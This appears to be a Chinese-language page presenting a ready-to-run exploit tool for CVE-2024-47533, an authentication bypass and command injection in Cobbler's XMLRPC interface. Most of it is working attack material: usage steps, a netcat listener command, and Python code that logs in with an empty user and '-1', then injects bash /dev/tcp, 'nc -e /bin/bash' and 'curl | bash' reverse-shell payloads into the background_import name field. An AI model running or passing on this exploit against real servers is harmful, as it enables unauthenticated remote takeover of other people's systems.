Cobbler XMLRPC 认证绕过与远程代码执行 (CVE-2024-47533) 利用工具

4 阅读3分钟

CVE-2024-47533:Cobbler XMLRPC 认证绕过与远程代码执行 (RCE) 利用工具

该项目提供了一个针对Cobbler网络安装服务器中严重安全漏洞的概念验证(PoC)利用脚本。该漏洞允许远程、未认证的攻击者绕过身份验证,并在目标服务器上执行任意系统命令,最终获得反向 Shell 访问权限。

功能特性

  • 认证绕过:利用 utils.get_shared_secret() 函数始终返回 -1 的缺陷,使用空用户名和密码 -1 绕过 XMLRPC 接口的身份验证。
  • 远程代码执行:通过 background_import 方法,在 name 参数中注入恶意命令,实现任意系统命令执行。
  • 多种反向Shell载荷
    • Bash:标准的 Bash 反向Shell。
    • Netcat (nc):使用 Netcat 创建反向Shell。
    • Curl:通过 Curl 下载并执行远程恶意脚本。
  • 简单易用的命令行接口:通过参数指定目标、监听地址、端口和载荷类型,快速发起攻击。

安装指南

系统要求

  • Python 3.x
  • 目标 Cobbler 服务器版本:3.0.0 至 3.2.3(不含)或 3.3.0 至 3.3.7(不含)

依赖项

该脚本仅使用了Python标准库,无需安装额外依赖。

# 克隆或下载脚本后,直接运行即可
python3 CVE-2024-47533.py -h

使用说明

基础用法

  1. 启动监听器:在攻击者机器上使用 Netcat 监听一个端口,等待反向连接。
nc -lvnp 4444
  1. 运行漏洞利用脚本
python3 CVE-2024-47533.py -t <目标URL> -l <你的IP> -p <监听端口> --payload <载荷类型>

参数说明

参数描述示例
-t, --target目标 Cobbler XMLRPC 接口的完整 URLhttps://192.168.1.100:25151/cobbler_api
-l, --lhost用于接收反向 Shell 的本地 IP 地址10.10.15.16
-p, --lport用于接收反向 Shell 的本地端口4444
--payload载荷类型,可选 bash, nc, curlbash

使用场景示例

场景一:使用 Bash 反向 Shell
python3 CVE-2024-47533.py -t http://192.168.1.50:25151 -l 10.10.15.16 -p 4444 --payload bash
场景二:使用 Netcat 载荷
python3 CVE-2024-47533.py -t https://target.domain.com:25151/cobbler_api -l 10.10.15.16 -p 9999 --payload nc
场景三:使用 Curl 下载并执行脚本

假设你在 http://10.10.15.16/rev.sh 上托管了一个反向 Shell 脚本。

python3 CVE-2024-47533.py -t http://192.168.1.50:25151 -l 10.10.15.16 -p 8080 --payload curl

核心代码

该项目的核心是利用 XMLRPC 客户端的 background_import 方法进行命令注入。以下是关键部分的分析和代码片段。

1. 认证绕过与匿名连接

脚本尝试先使用空用户名和密码 -1 调用 login 方法。如果失败(通常会失败),则继续以匿名模式(无 token)进行后续操作。

# 尝试认证,但漏洞允许匿名访问
try:
    token = conn.login("", -1)
    print("[+] Login success!")
except:
    token = None
    print("[-] Login bypass (anonymous)")

2. 恶意载荷构建

构建一个包含命令注入的 import_data 字典。命令被包裹在 $() 中,以便在目标系统上执行。

# 根据不同载荷类型生成要执行的命令
payloads = {
    "bash": f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
    "nc": f"nc -e /bin/bash {lhost} {lport}",
    "curl": f"curl http://{lhost}/rev.sh | bash"
}
payload = payloads.get(payload_type, payloads["bash"])

# 将恶意命令注入到 'name' 字段中
import_data = {
    "path": "~/tmp",
    "name": f"$({payload})"
}

3. 完整利用函数

exploit 函数是整个流程的核心,包含了连接、认证、构造载荷和发送请求的所有步骤。

def exploit(target, lhost, lport, payload_type):
    payloads = {
        "bash": f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
        "nc": f"nc -e /bin/bash {lhost} {lport}",
        "curl": f"curl http://{lhost}/rev.sh | bash"
    }

    payload = payloads.get(payload_type, payloads["bash"])

    print(f"[*] Target: {target}")
    print(f"[*] Listener: {lhost}:{lport}")
    print(f"[*] Payload type: {payload_type}")

    try:
        # 创建XMLRPC代理,忽略SSL证书验证(针对HTTPS目标)
        conn = xmlrpc.client.ServerProxy(
            target,
            context=ssl._create_unverified_context(),
            allow_none=True
        )

        print("[*] Trying to authenticate...")
        try:
            token = conn.login("", -1)
            print("[+] Login success!")
        except:
            token = None
            print("[-] Login bypass (anonymous)")

        # 构造包含命令注入的数据
        import_data = {
            "path": "~/tmp",
            "name": f"$({payload})"
        }

        print("[*] Sending exploit...")
        # 根据是否有token发送请求
        if token:
            result = conn.background_import(import_data, token)
        else:
            result = conn.background_import(import_data)

        print("[+] Exploit sent. Check your listener (nc -lvnp PORT)")
        return True

    except Exception as e:
        print(f"[-] Exploit failed: {e}")
        return False

6HFtX5dABrKlqXeO5PUv/xLqIypGRe3WOBp6iItfBGY=